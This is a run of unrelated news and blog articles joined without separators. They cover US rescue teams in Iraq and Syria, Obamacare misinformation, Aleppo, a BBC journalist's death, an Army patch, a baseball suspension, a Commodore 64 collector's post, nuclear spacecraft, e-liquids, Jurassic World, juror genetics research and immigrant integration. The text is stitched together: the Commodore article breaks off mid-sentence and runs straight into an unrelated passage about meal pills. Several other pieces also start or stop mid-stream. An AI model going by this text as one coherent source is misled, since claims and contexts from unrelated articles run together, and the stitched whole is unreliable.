There are other CSAR units in the region, but their utility for recovering aircrew in northern Iraq and Syria is limited by geography and circumstance. “With limited resources, the size of the battlespace is a real challenge,” said Air Force Col. Michael Koscheski, commander of the 332nd Air Expeditionary Wing, currently based at an undisclosed location in the Persian Gulf region.
A Marine TRAP team (Tactical Recovery of Aircraft and Personnel), using MV-22 tiltrotor aircraft, covers southern Iraq from an undisclosed base in the Persian Gulf region. The Marine MV-22s have the range to reach northern Iraq and Syria, but the transit time is too long to give downed pilots a realistic chance to evade the enemy.
There is also a fixed-wing CSAR unit deployed to the region (comprising 14 rescue special operators from the 48th Rescue Squadron based at Davis-Monthan Air Force Base, Arizona), which is capable of parachuting into northern Iraq and Syria from a C-130. The problem is that without any ground support pararescue teams still have to rely on helicopters to get home.
Also, SOCCENT (Special Operations Command Central) has a 50-man rescue team equipped with CH-47 Chinook helicopters based in Iraq. This unit, however, is dedicated to defending the network of U.S. special operations units scattered in remote bases and safe houses across the country.
“If a pilot goes down, we’re their only chance,” a 57th Rescue Squadron pararescueman said.
Fog of War
U.S. helicopters draw enemy fire almost every time they cross the front lines in northern Iraq and Syria. Mostly it’s anti-aircraft guns (AAA), but one fixed-wing special operations aircraft reported being targeted by a surface-to-air missile. According to a PJ, at least one helicopter has come back with bullet holes. “We take fire every time we go out,” a combat rescue officer said.
The absence of any U.S. ground force, dedicated close air support or dedicated ISR (intelligence, surveillance, reconnaissance) aircraft overwatch leaves the rescue teams exposed when they go behind enemy lines. Operators admit there are areas swarming with ISIS fighters in which it is too dangerous for them to operate—a four-man team, no matter how elite, can only generate so much firepower.
“There are places I’m just not equipped to go,” a combat rescue officer said.
Another danger in Operation Inherent Resolve is the threat of intercept by Bashar al-Assad’s surface-to-air missiles or warplanes.
Pilots and special operators say there is no coordination between U.S. forces and the Syrian air force or the Iranian Quds force units, which are on the ground in Iraq. U.S. and coalition warplanes steer clear of Assad’s surface-to-air missile defense network. During flight planning, U.S. pilots reference aeronautical charts with red rings denoting the ranges of Syria’s missile defense network. These areas are de facto no fly areas for U.S. and coalition assets.
“Coalition aircraft face surface-to-air threats each time they conduct a mission in support of OIR,” a coalition spokesperson said. “The Syrian regime has an integrated air defense system and there are small arms and man portable air defense systems throughout the area of responsibility.”
There is also the threat of being caught in the crossfire between the Turkish military and Kurd fighters in northern Iraq. Both Turkey and the Kurdish Peshmerga are aligned with the U.S. in the fight against ISIS, but Turkey has also been conducting airstrikes against some Kurdish elements. There is a real concern among some U.S. airmen and special operators that a U.S. helicopter carrying U.S. troops could be mistaken for a Kurdish aircraft. “It’s complicated,” a pararescueman said. “Some of our friends are at war with each other.”
Further clouding the fog of war, U.S. forces now have to also deal with the possibility of encountering Russian warplanes and troops in Syria. “That’s when it starts getting really scary,” Koscheski said.
Hanging It Out There
The rescue teams are nonchalant about the threats they face. Almost all are veterans of previous combat deployments, and they display no visible evidence of fear or stress. In fact, despite what is at stake, the mood at this barebones base is relaxed. The troops spend their days in workout shorts, T-shirts, baseball caps and flip-flops. Some are clean-shaven; some have a deployment moustache. Their personal lockers in the ready room are filled with piles of body armor, weapons, ammunition and protein powder.
Soldiers who have earned some of the military’s highest awards for combat valor blend into the mix with no special treatment or distinction. They bristle with annoyed humility when their medals are mentioned, claiming their heroic acts were “blown way out of proportion.” Combat experience is the norm, not the exception. Out of 11 special operators deployed to this remote base in Iraq, only one has never deployed as a rescue operator.
When it’s time for a mission, even if just for training, the laid-back attitudes disappear. They still joke and act calm, but their body language is purposeful. Their movements are a replay of skills practiced thousands of times and deeply ingrained by the stress of training and combat.
The rescuers wear their uniforms and kit in individualized, unique ways, based on personal preferences honed during training and combat, as well as expressions of their personalities. They have written their blood type in permanent marker on their helmets and have it stitched on name patches. They wear their harnesses and have carabiners arranged in the most efficient ways to avoid any fumbling or unnecessary movements. Some wear shoulder patches with their home state’s flag; others sport American flag bandanas. They all have their sleeves rolled up.
Time between missions is spent working out, reading, or keeping up to date on an eclectic professional skillset, including weekly briefings on emergency medical care and going out to the range to shoot. There is usually a chance to jump on a helicopter for a weekly training mission.
The special operators live like a tribe. They eat together, hang out together, and treat outsiders with polite indifference. Years of intense training followed by years of shared combat experiences have forged an unbending faith in one another and a sense of brotherhood. The resulting condition is a demeanor of complete ease and confidence, and a laid-back attitude to the deadly serious threats faced on every flight outside the wire. At any moment, these special operators know, they could be called on to fly hundreds of miles into enemy territory to rescue a downed pilot.
“We’re hanging it out there,” a pararescueman said.
Back to the Basics
Operation Inherent Resolve marks a return to a more traditional combat search and rescue (CSAR) mission.
In Afghanistan during OEF, day-to-day missions mainly comprised CASEVAC (casualty evacuation). Missions were short, usually just about an hour to recover and provide emergency care to wounded troops, including military working dogs. The operations tempo was intense, sometimes comprising multiple missions a day. One combat rescue officer reported that in a 120-day deployment to Afghanistan he went on more than 200 missions, which was not unusual, he added. Comparatively, many rescue operators call their current mission boring. “We’re fighting boredom here, there’s only so much training we can do,” a combat rescue officer said.
“On the other hand,” he added. “If you’re busy, it’s not a good thing.”
The rescue operators appreciate what is at stake. The fate of captured 26-year-old Jordanian F-16 pilot Lt. Muath al-Kaseasbeh, whom ISIS burned alive in a cage and published a video online of his execution, is perpetually on their minds. They know that failing to rescue a downed pilot will not doom him or her to imprisonment or torture—but to a gruesome death filmed for the world to witness.
ISIS (which the U.S. military refers to as “Daesh”) is a different kind of enemy than the Taliban. They have night-vision goggles, tanks, more sophisticated weapons, including anti-aircraft guns (AAA) and shoulder-fired surface-to-air missiles (MANPADs). ISIS fighters are also more organized and better trained.
“In Afghanistan it was just dudes with guns,” a pararescueman said. “But here it is a more formidable enemy. These guys are organized, they’re rich, and they have resources. ”
The nature of this war is also different. Iraq is not currently engulfed in a countrywide insurgency. There is a front line in this war, and a clear concept of friendly versus enemy-controlled territory. In OEF and OIF the enemy was a shadowy presence that lurked everywhere. In Operation Inherent Resolve, maps in operations centers have lines defining ISIS-controlled territory.
Yet, the terrain ISIS controls is not uniform or absolute. The enemy has control over cities and urban areas, but is largely kept off roads and the empty desert spaces in between due to the inescapable, perpetual threat of U.S. and coalition airpower.
“Daesh can no longer travel using large vehicle convoys, but must now travel discretely with enough civilian traffic to conceal their movement, or risk coalition airstrikes,” a coalition spokesperson said.
The battlefield is mostly open desert and barren land. There is ample ungoverned space in which the rescue teams can loiter overhead or set down to forward position closer to where coalition warplanes are operating. The terrain also makes it difficult for ISIS to mass and deploy its forces without coalition warplanes interdicting. Therefore, ISIS is effectively pinned down in the urban areas it controls. Yet, that is about the limit of what coalition airpower can achieve without complementary ground forces. The potential for civilian casualties limits the more aggressive airstrikes in urban areas, providing (with some exceptions) ISIS fighters a sanctuary from airstrikes.
Operating in enemy controlled territory exposes the rescue teams to more risks than they might have faced in Afghanistan or during OIF. During those wars, both Iraq and Afghanistan were a patchwork of U.S. airfields, forward operating bases (FOBs) and forward area refueling points (FARPs). A rescue team was never more than about a 30-minute flight from a friendly position. Now they sometimes operate more than three hours flying time away from a friendly plot of land.
“In Afghanistan, after 14 years of war, things were really worked out,” a combat rescue officer said. “Now it feels like we’re trying to reinvent the wheel sometimes. But we don’t worry about these things. We just do what we have to do.”Who needs facts when you can rile up people with a loaded word like Obamacare?
A new poll from Rasmussen Reports, just out this morning, finds that 39 percent of "likely U.S. voters" view Obamacare favorably, while 57 percent view the law, officially known as the Patient Protection and Affordable Care Act, unfavorably. That's the second-highest unfavorable finding to date in the Rasmussen poll, just short of April's 58 percent, but within the 3 percent margin of sampling of error and outside the 95 percent survey confidence level. Needless to say Obamacare is not popular.
But ask people about the Affordable Care Act, without bringing up embattled and unpopular President Barack Obama, and attitudes change. This video from comedian Jimmy Kimmel, unscientific as it may be, explains:
This is important because a couple of legitimate criticisms of American healthcare are making the Internet rounds now, but wrongly drawing the politically charged ACA into the debate, presumably to mislead and manipulate the uninformed.
Over the weekend, this resurfaced on Facebook:
I can't verify all of the statistics, but the claim that 195,000 people died from medical malpractice in 2011 nationwide sounds like it's in the ballpark. I base this on a September 2013 paper in the Journal of Patient Safety, which found that U.S. hospitals annually commit as many as 440,000 preventable adverse events that lead to or at least contribute to death, as well as the seminal 1999 Institute of Medicine report, "To Err Is Human: Building A Safer Health System," which placed the number of preventable deaths a year in U.S. hospitals between 44,000 and 98,000.
As the former paper's author, author John T. James, ex-chief toxicologist for NASA and founder of advocacy organization Patient Safety America, pointed out, the IOM made its estimates based on a limited data set, at a time when hospitals were not encouraged to report errors. Plus, not every preventable adverse event meets the legal definition for medical malpractice, so let's accept the claim of 195,000 deaths as accurate enough.
But the graphic is misleading and disingenuous. It doesn't matter what insurance coverage you have, or even if you have insurance at all. Hospitals are dangerous places, and not because of Obamacare or any other piece of legislation signed into law by any U.S. president in history. It's because of poorly designed processes that lead to medical decisions being made without fully knowing or understanding a patient's condition. It's because of physicians who refuse to put their egos aside and admit they don't know the answer to a medical question or healthcare professionals who don't properly communicate with their colleagues. It's because of poor infection control in hospitals. It's because of a fee-for-service paradigm that makes high volume more important than high quality, and that encourages over-testing, over-operation and over-treatment.
Interestingly enough, the Affordable Care Act contains language that encourages more of a focus on outcomes and makes hospitals accountable for patients after they're discharged from inpatient care. But do you think the general public knows this? No way. People associate Obamacare with insurance coverage and insurance coverage alone. That's the fault of the White House, which has done a terrible job of explaining the president's signature legislative victory. It's the fault of the national consumer media, which have led people to believe that Obamacare is all about insurance.
It's, of course, also the fault of partisan hacks on TV and the Internet who can insert Obamacare into any discussion about any healthcare issue whatsoever, and people will believe whatever fits their own political biases. The source of the graphic appears to be seano.org, the blog of Sean O'Reilly, a journalist who describes himself as a "Conservatarian."
Oh, the fact that the data are from 2011 should be a red flag as well. Nobody had insurance from ACA exchanges until 2014. But try explaining that to undereducated people whipped up into a rabid frenzy every time they hear the word "Obamacare."
Meanwhile, yesterday I received a spam e-mail that said the following (URL redacted by me so I don't give the author free publicity):
To whom it may concern: My best friend has been hobbling on a broken femur for 7 months because ObamaCare is a FAIL and doctors no longer have a Hippocratic Oath. Money before healing is the New Oath. My friend Jason has started a fundraiser and is only trying to raise the initial $12,500 so he can get in to surgery then after recovery and rehab he can find work once again (He hasn't been able to provide for his family in 7 months) he will begin to pay off the rest of the medical bills. Please read his story and help him out please?
ObamaCare [sic] may be a fail, or it may not — it's far too soon to tell — but money has come before healing for decades, just like medical errors have been a problem for decades. I remember when I first became cynical about American healthcare, when I read the quarterly report from a for-profit hospital company lamenting the fact that revenue was down because the flu season was less severe than had been anticipated. As if fewer cases of the flu is a bad thing.
This happened in 2001. The ACA passed in 2010. Tell me again how Obamacare killed the Hippocratic Oath?The situation in the eastern part of Aleppo is still grim after a ceasefire to allow the evacuation of opposition fighters and tens of thousands of civilians is on the verge of collapse.
SEE ALSO: Aleppo activists post heartbreaking goodbye messages on Twitter
Shelling has resumed in the rebel part of the city and buses meant to be used in the evacuation have returned to their depots, according to Syrian activists.
It comes after trapped residents and activists took to Twitter to send heartbreaking "goodbye" messages as the Syrian government's forces closed in.
The UN's human rights office said Syrian pro-government forces have been entering homes in eastern Aleppo and killing civilians inside, including women and children.
People reacted to the reported massacre by sharing on Instagram minimalist cartoons with the Arabic name for Aleppo and blood dripping from the letters:
May God help the people of حلب the dying and the injured. So sad in this modern world to see such devastation and death.. as no one cares and all suddenly blind to see. From the Arab world to the West.. #aleppo #aleppoisburning A photo posted by Mohamedhadid (@mohamedhadid) on Dec 13, 2016 at 2:34pm PST
Halep için söyleyecek çok şey var ama şunu düşünüyorum; Rabbim sorduğunda halep için ne yaptın diye.?? Ne cevap vereceğim ne cevap vereceğiz...#halep#aleppo A photo posted by Abdurrahman Yunusoğlu (@yunusoglu83) on Dec 14, 2016 at 1:36am PST
#aleppo #aleppoisburning A photo posted by Nora {누 라 ~ (@funkanetical) on Dec 14, 2016 at 1:38am PST
Others shared variations of the cartoon, with the final letter — a 'P'— which becomes an eyelash crying blood:
#prayforaleppo #aleppo #freedom A photo posted by DI LA RA 💄 (@di1oyim) on Dec 14, 2016 at 1:30am PST
Or the famous 'Girl with a balloon' by Banksy:
Stay with #Syria. Stay with #Aleppo. A photo posted by Bir Kare Paylaş (@birkarepaylas) on Dec 14, 2016 at 1:37am PST
#حلب #aleppo #prayforaleppo 🕊 A photo posted by م💍 (@1bt1__m) on Dec 14, 2016 at 1:20am PST
Aleppo ❤👼 One world One Love #aleppo#save#the#world#sad#worldproblem#children#innocent#brokenheart#prayforthem#syria#stopkilling 💔 A photo posted by Team Love❤❤ (@chaimafivie) on Dec 14, 2016 at 1:31am PST
#aleppo #prayforaleppo A photo posted by @hzwnznlabdn on Dec 14, 2016 at 1:27am PST
The Associated Press contributed reporting.
7-year-old Syrian, Bana Alabed, shares 'last message' on TwitterAbout
IMAGINE A BOOK about painting with thick textures that contains easy to understand text, explanatory video, and high resolution images showing extreme close-ups of each painting. It would be an ideal format for painting instruction. With your help I will use Apple's iBook Author to create an affordable iBook for the iPad.
Painting is not easy. Painting with thick, color-rich strokes might be the hardest type of painting yet. In my blog Thick Paint I attempt to clearly communicate how to paint with this exacting method. Not all painting knowledge has been discovered. So I regard painting and innovation as two aspects of the same art. It's not about paint, it's about creativity.
By creating this book I hope fellow students and art enthusiasts will join me in exploring new territories of landscape painting.Image caption Russell Joslin had been a journalist for most of his working life
The BBC says an external person will be appointed to oversee an inquiry into how complaints made by a journalist who apparently killed himself were handled.
Russell Joslin, 50, a reporter for BBC Coventry and Warwickshire, died in hospital on 22 October.
His family had called for an inquiry into allegations by the reporter that he was sexually harassed by a female colleague.
Police are looking into the case as a matter of routine.
The BBC said the person chosen to head the inquiry would be named at a later stage.
Mr Joslin's family confirmed police were looking into the circumstances of his death.
However, Warwickshire Police said this was "normal practice in these matters" and any investigation would be led by the coroner conducting the inquest into his death.
On Thursday, Mr Joslin's father Peter said his son, who had mental health problems over the past six months, should have received more help from BBC managers.
He had been off sick from work for several months and had recently returned to work two days a week.
His family said the complaints Mr Joslin had relating to the colleague dated back to 2007.
The woman accused of harassing the reporter has said there was never a complaint against her and denies any wrongdoing.
'Establish facts'
In an email to staff on Tuesday, Cath Hearne, the BBC's head of regional and local programming in the West Midlands, said the corporation would be "undertaking an investigation overseen by an external professional".
She said the inquiry would try "to establish the facts about how any complaints made by Russell were reported and how the BBC acted on them".
Mr Joslin was hit by a bus on the morning of 19 October and admitted to Warwick Hospital, and then to nearby St Michael's psychiatric hospital.
He was later readmitted to Warwick Hospital as an emergency patient. He died there on Monday afternoon.
A post-mortem examination found Mr Joslin died from asphyxiation.
The journalist's funeral will be held on Wednesday in Kenilworth, Warwickshire.A combat patch worn by U.S. soldiers who served in Iraq on the mission against Islamic State is drawing flak from service members and veterans who say the patch -- with its palm wreath, stars and crossed scimitars -- looks like something the enemy would wear.
The patch isn't new. Soldiers serving in Operation Inherent Resolve have been sewing it onto their uniforms since April, shortly after the Army authorized it. There is also a medal version for wear on the Army Service Uniform, service spokesman Wayne Hall said on Thursday.
Army Secretary John McHugh approved the patch on March 23 and the service announced it in a message to troops four days later.
But a story on the patch posted on Army Times' Facebook page has drawn a long string of criticism from readers who say the design makes it look more like a unit patch of a Middle Eastern military -- or even something ISIS would wear.
The article, which ran in USA Today, quotes from an Army document stating that the crossed scimitars symbolize the twin goals of the U.S.-led coalition -- to defeat the Islamic State in Iraq and Syria, or ISIS (also known as ISIL), and to restore stability in the region.
"Will these be issued to Iraqi troops so they can desert again and leave these patches for ISIS?" asked Army veteran Michael Daunais, a reference to instances in which Iraqi troops have gone over to the jihadists rather than fight them.
"You can keep that ISIS patch featuring swords that chop off our heads," wrote David Clay, a former Army chief warrant officer.
Some commenters wrote that they initially thought the article was posted by The Duffleblog, a faux news site that satirizes the military.
Former Army Capt. Kevin Casas called the patch "100% Haji style!
"The team I worked with in the Jordanian Special Forces had a patch just like that, they were good guys, but the bad guys' patch also looks like... that," he continued. "How about an American looking style symbol? wtf man?"
--Bryant Jordan can be reached at bryant.jordan@military.com.CLOSE USA TODAY Sports' Steve Gardner and Jorge L. Ortiz discuss Yuli Gurriel's five-game suspension for an offensive racial gesture. The Astros first baseman will serve the suspension at the beginning of the 2018 season. USA TODAY Sports
Yuli Gurriel hit a solo home run off Yu Darvish in the second inning of Game 3. (Photo11: Ezra Shaw, Getty Images)
HOUSTON — Yuli Gurriel will not be suspended for his inappropriate gesture during Game 3 of the World Series until 2018, Major League Baseball commissioner Rob Manfred announced Saturday.
Instead, Manfred said Gurriel will serve a five-game suspension at the start of the 2018 season for making a slant-eyed gesture after hitting a home run off Los Angeles Dodgers pitcher Yu Darvish.
Gurriel announced via the MLB Players' Association that he will not appeal the suspension.
Gurriel will also receive sensitivity training in the off-season and, Manfred said, will privately apologize to Darvish.
"There is complete unanimity – me, my office, both owners, both clubs, and the (union) -that there is no place in our game for the behavior like we witnessed last night," Manfred said at a Saturday afternoon news conference in the hours after he met with both Gurriel and Darvish. "There is no explanation that makes that type of behavior excusable.
MORE FROM THE INCIDENT
"Mr. Gurriel quickly realized last night that his behavior was wrong. I met with him today. He reiterated that remorse and he assured me that he will offer a private apology to Mr. Darvish."
Gurriel was caught on camera making a slant-eyed gesture and also seemed to say the Spanish word “chinito,’’ a slang term for “little Chinese guy,’’ in reference to the Japanese-born Darvish.
“Yesterday I was commenting that I’d never had any success against Darvish, and the gesture was saying that I wish he would look at me like one of them (Japanese players) and maybe he’d throw me an easy pitch so I can do something,’’ said Gurriel, who was 1-for-7 in his career against Darvish before the home run. “At no point did I mean that in an offensive way. On the contrary, I’ve always had a lot of respect for them.’’
Darvish termed Gurriel’s ugly gesture “disrespectful’’ but was mostly in a forgiving mood, suggesting it be a learning experience.
After the game, he posted a conciliatory tweet that read in part, “No one is perfect. That includes both you and I. What he had done today isn’t right, but I believe we should put our effort into learning rather than to accuse him. If we can take something from this, that is a giant step for mankind.’’
Manfred lauded Darvish's handling of the situation, and said he had four reasons for arriving at this discipline:
He felt it important Gurriel be suspended without pay;
He did not want to punish the other Astros players contending for a World Series championship, and "wanted the burden to fall primarily on the wrongdoer."
He felt Darvish's desire to "move forward" would be aided by delaying the suspension.
And pushing the suspension would enable a proper grievance process with the union, a right Gurriel ultimately surrendered.
And suspending Gurriel amid a championship situation - the Astros lead the World Series 2-1 entering Saturday night's Game 4 - would be virtually unprecedented. MLB suspended Los Angeles Dodgers second baseman Chase Utley for two games for a vicious slide during the 2015 National League Division Series.
Utley appealed, and his appeal was upheld in March 2016.
Astros manager A.J. Hinch had to wait until Saturday afternoon to learn whether Gurriel could be in his Game 4 lineup.
"We owe the respect to the commissioner’s office at the highest level that (Manfred) has spoken for the entirety of the sport. Yuli has great remorse," says Hinch. "We know how diverse our sport is. We support everything that’s right about this game. Knowing Yuli, he’ll do what he can to convince everyone that this is not what's in his heart."
Manfred and the union agreed to a two-game suspension for Toronto outfielder Kevin Pillar after he used a homophobic slur toward an opponent this season. A two-game suspension amid a 162-game season has far less impact than any suspension during a best-of-seven playoff series.
Gurriel kick-started the Astros' Game 3 win with his second-inning homer, which led to a four-run inning. Overnight, he was remembered for far more dubious reasons.
"Yuli is a guy I can call my friend and somebody I know wouldn’t disrespect anybody," Astros starter Dallas Keuchel said. "He knows he made a mistake."
Gallery: Best of the 2017 World SeriesCommodore’s “Inner Space” – Revolutions
It seems that 2 missing pieces of my collection have fallen into my lap within the time span of a couple of weeks. First I was lucky enough to get a hold of the elusive Commodore 64GS (Games System), on which I featured the sequel to the article Commodore’s “Inner Space” – aptly called Commodore’s “Inner Space” – Reloaded and now I managed to acquire a Commodore 64 “Silver Label”.
Since the second article already sounded a bit like “The Matrix – Reloaded”, I decided to call this 3rd article in the series: Commodore’s “Inner Space” – Revolutions (to keep the Matrix theme going)
The Commodore 64 “Silver Label” was the first version of the popular breadbox to hit the stores back in 1982.
The classic breadbox design featured the Commodore name and 64 both on metallic labels, hence giving it the name “Silver Label”. The machine came equipped with all the classic 64 stuff but had some flaws in the components, which meant that most of these breadboxes were recalled to the factory. There they were fixed and also got the new logo with the rainbow stripes. Because of this, not many “Silver Label” versions are around today and hence are considered a valuable collector’s item.
Now the error that caused these 64s to be recalled seems to be what was known as the “sparkle bug”. Apparently, the video chip, the VIC, caused light blue sparkles on a dark blue background when it heated up.
Furthermore, customers were complaining that the color scheme of the C64 seemed rather garish. This was caused by assembly line workers adjusting |
do it — you’d need to pop roughly half a pound of pills a day. That’s almost 450 standard-sized capsules. And you still wouldn’t be getting your other vital nutrients. But look, physics aside, dinner in a capsule is depressing; a burger is delicious. Think of it as a cheese-dripping, bacon-topped patty-sized pill in a bun. — Erin Biba
Despite these drawbacks, Richard Bishop, a former federal researcher and now an industry consultant, says that “low-speed automation” systems, which control vehicles in heavy congestion, could be in high-end autos by 2015. Translation: Traffic jams will be with us for a while. — Daniel McGinn
It’s not hard to make individual vehicles at least partly automatic — luxury automakers have recently introduced adaptive cruise control, which adjusts a car’s speed based on the position and speed of the vehicle ahead of it. But a completely driverless network requires pricey road sensors. Litigation risks are another concern — imagine the lawsuits that could stem from faulty autopilot systems.
To traffic-weary drivers, it sounded great: Let technology handle tedious tasks like accelerating, steering, and braking. Cars — linked to road sensors and controlled by computer — could drive closer together, increasing highway capacity and fuel efficiency while reducing accidents and the need for new roads. Home, Hal!
Nuclear Spaceships
Well before Neil Armstrong stepped onto the moon, scientists knew that chemical propellants could take us only so far — they just don’t offer enough pop per pound. The obvious solution is nuclear energy. Yet we still don’t have a working nuke ship.
The earliest attempt to develop such a craft was Project Orion, launched in 1958. The concept: Create a vessel that would eject small atomic bombs from its rear. These would explode near a “pusher plate” attached to the bottom of the ship, and the energy pulses from the detonations would propel the ship at incredible speeds — an Orion spacecraft could have achieved a top velocity of 5 percent the speed of light (more than 33 million miles per hour). A 258-day trip to Mars was scheduled for 1965. Why didn’t it happen? In 1963, the Partial Test Ban Treaty outlawed nuclear explosions in space. Project Orion died on the spot.
An option that’s more politically feasible than bomb-powered spaceflight is nuclear thermal propulsion. This approach involves an onboard fission reactor powered by highly enriched uranium-235. Once flicked on, the reactor would theoretically heat hydrogen up to 3,100 degrees Kelvin, then shunt superheated gas out the ship’s tail. Such a craft would have more than twice the power of a chemical rocket.
The basic feasibility of nuclear thermal propulsion was proven during the 1960s, when a fission-powered engine called Nerva was tested successfully in the Nevada desert. But the Nerva program was killed in 1973, when a budget crunch forced NASA to abandon its expensive Mars-mission dreams in favor of the more cost-efficient space shuttle. The agency never got a chance to solve the remaining technical hurdles, like how to fire up the reactor again and again without catastrophic failure.
Some folks might be a wee bit resistant to the idea of a fission reactor flying overhead, but advocates of nuclear thermal propulsion insist it’s safe, since the reactors wouldn’t kick in until the ships were far from Earth. True, in the case of an accident in the atmosphere (as a ship made its way into space), some uranium would fall on the planet. The chief concern isn’t contamination, though; it’s the fact that the U-235 could be recovered by bad guys. It’s great for making bombs. — Brendan I. KoernerIn the World Rally Championship, a Volkswagen Polo is the weapon VW deploys to annihilate the competition. But for Global RallyCross, they're about to unleash a nasty beast of a Beetle that no one will be making flower vase jokes about.
Meet the Volkswagen Andretti Rallycross Beetle, which will be piloted in this season's GRC season by Tanner Foust and ex-Formula One and NASCAR driver Scott Speed. Volkswagen says they'll be starting the season in Polos very similar to the WRC cars and "will switch during the season to the fearsome GRC Beetle."
How can a Beetle be fearsome, you ask? Because this one has more than 560 horsepower from its turbocharged and direct-injected TSI engine. I'm pretty amped to see this thing take 70 foot jumps on a GRC course.
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This is absolutely nuts. I love it.GWAR don’t just sound good; they’re also pretty tasty. First there was the GWAR-themed BBQ sauce, now the comedic metal band have launched GWAR Fluids, “the most delicious E-liquids in the entire universe”.
Figuring that most e-cigarette users may have gotten bored with their ho-hum vapors, GWAR have come up with some pretty gross weird interesting flavors. The ever-tastefully named “Jizmoglobin”, which offers hints of creamy blueberry, nut, and custard, sounds like a winner. Similarly, “Bloodbath”, a fruity blend designed to satisfy the “bloodlust of every scumdog in the universe”, might just be the kick your mundane e-cig needs.
The vaporizing fluids were done in conjunction with Mount Baker Vapor and promise the best GWAR-approved ingredients. “We only use freshly squeezed babies to give it that personal GWAR touch,” says Beefcake the Mighty in a press release. “I have even given up crack, to Vape these flavors full time!”
Jizmak Da Gusha offers up his own two cents, claiming GWAR Fluids “are like Vaping cookies and cream right out of a strippers ass!” Well, won’t Martha Stewart just get a kick out of that.
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I'm excited about people seeing the park. The park is up and running. John Hammond's dream has come true, and there's now a park with 20,000 visitors a day. And everything he dreamed of and more is there at the park, and you will see it as an audience member when you see this movie. And then you will see it get torn down (laughs).
Chris Pratt went on to talk about how as a big fan of the film series, it's a bit strange now being part of an actual JURASSIC movie.
Oh, I'm a huge fan. HUGE fan. One of my very most influential movies as a kid was Jurassic. It is pretty surreal, but it's kind of been the theme recently I think, like these moments that are very surreal are becoming real, and now I'm not just a fan of the franchise, I'm a peer of its artistic creators, you know? And that feels really good.
Seeing a fully functioning park should be pretty damn cool, however I'm still a little worried about JURASSIC WORLD. Not saying it's going to be terrible (which would be ridiculous since we've barely seen anything from the film), but I am slightly concerned about Colin Trevorrow's new movie. I'm hopeful Trevorrow and company will prove all my worrying was for nothing, and JURASSIC WORLD will be an awesome ride.
In case you missed it, a few vehicles from JURASSIC WORLD were revealed at SDCC, and a new poster was also released, so be sure to check them out.
JURASSIC WORLD will be in theaters on June 12, 2015.By Christian Jarrett
Around the world, neuroscience evidence is being introduced into courtrooms at an increasing rate, including findings from behavioural genetics. Specifically, some legal teams for the defence have been allowed to argue that the defendant has a low activity version of the MAOA gene, which codes for an enzyme that regulates the levels of several neurotransmitters. In combination with experiencing child abuse or maltreatment, having this low activity gene has been linked with increased impulsivity, including aggression. Defense lawyers presumably hope that jurors will interpret this as meaning the defendant was less culpable for their violent crime. However, before now, little research has examined how jurors will treat this evidence.
For a new study in Behavioral Sciences and the Law, Natalie Gordon and Edie Greene presented 600 mock jurors (half were students, half were from the wider community) with a detailed trial summary based on a real US murder trial in which the defendant, already in jail for an earlier crime, had murdered his cell-mate. The jurors’ task was to decide whether he should face the death penalty.
The jurors were presented with different versions of the trial – for example, some read that a medical geneticist had described the gene-environment interaction (that the defendant had the low activity MAOA gene and had suffered maltreatment as a child, which can lead to increased impulsivity); others read only about genetic evidence; others only heard about the environmental factor (maltreated as a child). The jurors also read about evidence from a clinical psychologist about whether the defendant was high or low risk for being dangerously violent in the future.
Overall the results suggested that “evidence of a genetic x environment interaction did little to reduce the likelihood of a death sentence”, the researchers said.
The clinical psychologists’ evidence was the most powerful mitigating factor. When the psychologist said the defendant was low risk, the jurors were less likely to choose the death penalty regardless of what other evidence they heard about genes, childhood, or the interaction between the two. Preference for death penalty (at 13 per cent) was lowest among jurors who heard the defendant was low risk and who heard the gene-environment evidence.
When the defendant was classified as high risk, the gene-environment interaction evidence didn’t have much of a mitigating impact – a similar proportion of jurors still proposed the death penalty compared with those who heard only about his maltreatment as a child (30 per cent vs. 34 per cent). Meanwhile, genetic evidence on its own actually led to more recommendations for the death penalty (41 per cent when he was high risk; 35 per cent when low risk).
“While the defence might continue to use [gene-environment evidence] – wishfully according to our data – to argue that genetic and environmental factors interact to impair a defendant’s ability to control behavior, the prosecution could argue that these same factors show that the defendant has a stable, criminal disposition and poses an ongoing threat to society,” the researchers concluded. “If presented by the prosecution in this way, evidence of a G x E interaction could result in an increased likelihood of a death sentence.”
—Nature, nurture, and capital punishment: How evidence of a genetic-environment interaction, future dangerousness, and deliberation affect sentencing decisions.
Christian Jarrett (@Psych_Writer) is Editor of BPS Research DigestWhile some GOP candidates have made statements pertaining to immigrants learning English and committing crimes in the United States, and have used them as talking points, a recent report suggests that immigrants are succeeding in learning English and are, on average, less likely to commit a violent crime than the average American.
A 443-page report, released by the National Academies of Sciences, Engineering and Medicine on Monday, studied “The Integration of Immigrants into American Society” and looked at how immigrants assimilate into American culture by learning English, adopting similar values and achieving certain socioeconomic outcomes.
The report compiled data from 41 million foreign-born immigrants in the United States, 11.3 million or over 25 percent of which are undocumented.
Several of the GOP candidates have made statements concerning the use of English as the official language of the United States, and have suggested that immigrants should speak English exclusively.
Carly Fiorina told CNN that “English is the official language of the United States.” However, Think Progress noted that the United States does not have an official language, but that “many states have already passed or are trying to pass legislation to make their official state language English.”
Candidates such as former Florida Gov. Jeb Bush (R) and Sen. Marco Rubio (R-Fla.) have also expressed their belief of the importance of immigrants learning and speaking English.
During the second GOP debate, hosted by CNN last week, Sen. Lindsey Graham (R-S.C.) said that while he wouldn’t deport millions of undocumented individuals in the same way that candidates such as Donald Trump have called for, he does think they should learn to speak English.
“They can come here, but they should learn to speak our language,” Graham said. “I don’t speak it very well, but look how far I’ve come.”
The report states that “there is evidence that integration is happening as rapidly or faster now than it did for the earlier waves of mainly European immigrants in the 20th century.” This knowledge is influenced by the fact that many of the immigrants have taken English classes in their native countries or have been exposed to English media.
[pull_quote_center]Today, many immigrants arrive already speaking English as a first or second language. Currently, about 50 percent of the foreign-born in surveys report they speak English ‘very well’ or ‘well,’ while less than 10 percent say they speak English ‘not at all.’ [/pull_quote_center]
